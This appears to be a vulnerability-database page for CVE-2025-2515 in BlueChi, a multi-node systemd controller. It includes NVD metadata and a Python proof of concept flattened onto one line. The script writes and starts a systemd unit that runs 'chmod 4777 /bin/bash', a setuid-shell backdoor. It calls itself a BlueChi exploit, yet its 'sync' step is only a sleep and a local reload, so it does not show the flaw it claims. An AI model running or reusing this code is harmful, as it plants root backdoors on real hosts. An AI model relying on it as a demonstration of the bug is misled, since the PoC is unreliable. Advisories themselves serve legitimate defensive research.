Security Vulnerability Report
中文
CVE-2025-2515 CVSS 7.2 HIGH

CVE-2025-2515

Published: 2025-12-24 17:15:47
Last Modified: 2026-04-15 00:35:42

Description

A vulnerability was found in BlueChi, a multi-node systemd service controller used in RHIVOS. This flaw allows a user with root privileges on a managed node (qm) to create or override systemd service unit files that affect the host node. This issue can lead to privilege escalation, unauthorized service execution, and potential system compromise.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:P/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

eclipse-bluechi < 0.4.0 (with fix commit fe0d28301ce2bd45f0b1d8a98a94efef799fbc73)
BlueChi in RHIVOS (all versions prior to fix)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-2515 BlueChi Privilege Escalation PoC # This PoC demonstrates the concept of privilege escalation via BlueChi # Note: This is a conceptual PoC for educational purposes only import subprocess import os import time def create_malicious_unit_file(): """ Create a malicious systemd unit file on the managed node (qm) that will be applied to the host node via BlueChi """ malicious_unit = """[Unit] Description=Malicious Service After=network.target [Service] Type=oneshot ExecStart=/bin/bash -c 'echo malicious_code_executed >> /tmp/pwned' ExecStartPost=/bin/bash -c 'chmod 4777 /bin/bash' RemainAfterExit=yes [Install] WantedBy=multi-user.target """ # Path where the unit file can be placed unit_path = "/etc/systemd/system/malicious.service" try: with open(unit_path, 'w') as f: f.write(malicious_unit) print(f"[+] Malicious unit file created at {unit_path}") return True except PermissionError: print("[-] Permission denied - need root privileges on qm node") return False def trigger_bluechi_sync(): """ Trigger BlueChi to sync the unit file to the host node This simulates the BlueChi mechanism that causes the vulnerability """ print("[*] Waiting for BlueChi sync mechanism...") time.sleep(5) # In a real attack, this would involve exploiting BlueChi API # or waiting for automatic sync interval try: # Reload systemd to pick up the new unit subprocess.run(['systemctl', 'daemon-reload'], check=True) print("[+] Systemd daemon reloaded") return True except Exception as e: print(f"[-] Error: {e}") return False def escalate_privilege(): """ Enable and start the malicious service to execute privilege escalation """ service_name = "malicious.service" try: subprocess.run(['systemctl', 'enable', service_name], check=True) subprocess.run(['systemctl', 'start', service_name], check=True) print(f"[+] {service_name} enabled and started") return True except Exception as e: print(f"[-] Failed to start service: {e}") return False def main(): print("=== CVE-2025-2515 BlueChi Privilege Escalation PoC ===") print("[*] This PoC requires:") print(" 1. Root access on a managed node (qm)") print(" 2. BlueChi multi-node setup") print(" 3. Network connectivity to host node") print() if create_malicious_unit_file(): if trigger_bluechi_sync(): escalate_privilege() print("[+] Attack completed - check /tmp/pwned and /bin/bash permissions") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-2515", "sourceIdentifier": "[email protected]", "published": "2025-12-24T17:15:47.293", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in BlueChi, a multi-node systemd service controller used in RHIVOS. This flaw allows a user with root privileges on a managed node (qm) to create or override systemd service unit files that affect the host node. This issue can lead to privilege escalation, unauthorized service execution, and potential system compromise."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.5, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-2515", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2353313", "source": "[email protected]"}, {"url": "https://github.com/eclipse-bluechi/bluechi/commit/fe0d28301ce2bd45f0b1d8a98a94efef799fbc73#diff-64140c83db42a8888f346a40de293b80f79ebf7d75ce4137b22567e360bce607", "source": "[email protected]"}, {"url": "https://github.com/eclipse-bluechi/bluechi/issues/1069", "source": "[email protected]"}, {"url": "https://github.com/eclipse-bluechi/bluechi/pull/1073", "source": "[email protected]"}]}}